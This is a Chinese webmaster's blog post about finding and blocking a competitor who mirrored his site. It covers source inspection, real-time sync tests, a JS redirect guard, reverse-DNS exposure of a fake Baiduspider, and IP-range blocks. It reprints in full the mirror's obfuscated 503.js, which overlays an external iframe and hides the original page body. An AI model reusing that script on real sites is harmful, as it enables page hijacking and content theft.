今天登陆百度统计,在自己一个垂直网站的在受访域名,发现了一个不是自己域名的统计,最近30天统计到了14个IP,对方要么采集,要么镜像,就点开了对方网站看了下,居然算是同行,利用我的网站达到引流的目的,然后进行售卖商品,我辛辛苦苦手更,都不舍得放广告。

解决方案

1、判断是否网站源码泄露

其实最担心的是网站源文件泄露,如果web文件+mysql数据库都泄露出去,说明有网站本身有很大的安全隐患,上半年朋友的网站里jquery.js曾发现后门,被上传了PHP木马。

当打开网站后发现网站的风格模板和我的不一样,排除掉源文件泄露。

2、判断是否被扒皮

网站模板被扒皮也很正常,只是有些粗心大意的忘记去掉了统计代码,还是和第一项一样,风格不一样。

3、网页源代码

那就查看源代码吧,查看的时候心里一惊,跟我的网站也太像了吧,包括代码的格式都和我一样,为什么外观不一样。

结果发现了这个东西

<script src="/503.js"></script>

放到了<!DOCTYPE html>前面

而503.js的代码如下

var aa=Math.round(Math.random()*8+1);
var  ss = '<div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr'+'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14'+'00" height="100%" src="http://www.****.com/yigan/TAF.html"></iframe></div><style type="text/css">html{width:100%;height:100%}body {width:100%;height:100%;overflow:hidden}</style>';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
	
try{
	setInterval(function(){

		try{
			document.getElementById("div"+"All").style.display="no"+"ne";
		}catch(e){}

		for(var i=0;i<document.body.children.length;i++){
			try{
				var tagname = document.body.children[i].tagName;
				var myid = document.body.children[i].id;
				if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
				  // if(tagname!="center"){ 
				     document.body.children[i].style.display="non"+"e";
				   //}
				}
			}catch(e){}
		}

	},100);
}catch(e){}

在<head>后面发现了如下代码

script>var V_PATH="/";window.onerror=function(){ return true; };</script>

然后每个https的网址都被?代替,例如href="?/uploads/202001/888888.jpg的样子

接着就是最后在</html>后面的代码

<script>    
var _hmt = _hmt || [];    
(function() {    
var hm = document.createElement("script");    
hm.src = "https://hm.baidu.com/hm.js?28e71346fdf6b5b3a097c8484bf5775f";    
var s = document.getElementsByTagName("script")[0];    
s.parentNode.insertBefore(hm, s);    
})();    
</script>

4、判断是采集还是镜像

这个办法很简单,那就再发布一篇文章,然后修改文章ID即可。

发布后,在对方网站更改ID,发现内容是同步更新的。

按照正常采集一般都是有间隔的,不可能实现实时的抓取入库,基本判断为镜像。

5、解决镜像的办法

一般还是用JS最为方便,这个方法也用不过很多次,就一下代码吧

host = window.location.host; 
var site= "www.youurl.org";
if (host!=site )
{ 
alert(window.location.host+':为非法镜像网站,为了您的安全正在带您回到原网站');  
location.href='http://'+site+window.location.pathname; 
}

这个代码保存为JS,然后网页调用即可,如果访问域名不是这个网址,那么会进行弹出对话框提示,然后跳转到原始站点。

我为了方便直接加到了现有已调用某个JS文件的最后,然后上传覆盖。

再次刷新对方文章,并没有出现对话框,代码应该没错,继续排查。

6、再次出现意外

发现对方将部分css js文件同步了本地,所以我在我服务器修改的,没办法解决。

图片类的没有同步下载,每次有新的内容更新,已经存在的文件不下载,新的文件会自动下载同步。

修改模板文件,再次增加一个js,进行内容页调用,然后再发布文章。

然后返回对方网站刷新,发现果然出现了提示框,并提示返回原始站点。

7、陷入难题

本来为自己解决了一个问题而高兴,时间晚了就睡觉了,结果第二天发现新发布的文章,即使有JS也不弹出对话框和跳转了,那就不做代码级的优化了,直接上大杀器吧。

8、屏蔽IP,阿西吧!

为了判断对方的真实IP,那就设置个陷阱吧。

a,发布一篇新的文章,然后不用点开,鼠标移上去看下文章Id

b,去对方网站,直接更换文章id,打开文章

c,回到管理后台删除文章

d,打开站点响应日志,复制到写字板,然后搜索文章id

e,果不其然发现几个异常IP,其中有一个居然是百度蜘蛛?

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

不对啊,百度那会这么快访问我的网站,即便我做了主动提交,也不会即时,但是这个UA正确,后面的标准也是对的,不过这个IP很可以,是新加坡腾讯云,马脚漏出来的,那就nslookup ip命令反解ip,baiduspider的hostname以 *.baidu.com 或*.baidu.jp 的格式命名,非 *.baidu.com 或 *.baidu.jp 即为冒充,反解后发现妥妥的李鬼。

顺便Ping了下对方域名,也是这个iP,这算是对上了,顺手查下这个IP,以前居然被用作手游服务器,直接用150.109.55.0/24屏蔽IP段吧,虽然误伤了腾讯云该网段一些服务器,但是对普通用户访问和搜索引擎收录没有影响。

9、以绝后患

屏蔽IP端后,再次发布新文章进行测试,发现新的文章在对方文章不再显示。

只显示以下代码

<script src="/503.js"></script><script>    
var _hmt = _hmt || [];    
(function() {    
var hm = document.createElement("script");    
hm.src = "https://hm.baidu.com/hm.js?28e71346fdf6b5b3a097c8484bf5775f";    
var s = document.getElementsByTagName("script")[0];    
s.parentNode.insertBefore(hm, s);    
})();    
</script>

这才是正确的,到此解决问题可以告一段落,顺手测试了以前的文章,发现打开速度比未屏蔽IP之前满了很多很多.

斩草除根,以绝后患,一个IP肯定不能解决问题,那就深挖下。

1、发现该镜像站的链接用新窗口打开是一个新的域名,居然是还是香港的ip,那就不好意思了,43.249.2.*IP段屏蔽。

2、通过域名查询whois信息,有些隐藏了邮箱,还好西部数码的还可以用pengpos*@outlook.com,为了隐私,最后个字母打码

4、查询这些域名的IP,然后再次封禁IP段,本次工作就告一段落了,以后在观察吧!

后话

现在的爬虫技术已经成为一个方向,爬虫如果按照既定的规则自动抓取网络信息,是可以大大提升效率的工具,但是目前所谓打着爬虫的旗号,进行大数据的采集、处理、分析、清洗、售卖,大数据作恶,对于我们普通人来说,是很难捉摸到的:我们既不认识这些敌人,更不知道他们在哪儿。爬虫爬得欢,监狱要坐穿;数据玩的溜,牢饭吃个够。大数据,一定会给人类生活带来便利;我也丝毫不惮以最坏的恶意,去揣测人心。

技术本身并无原罪,但是人心有。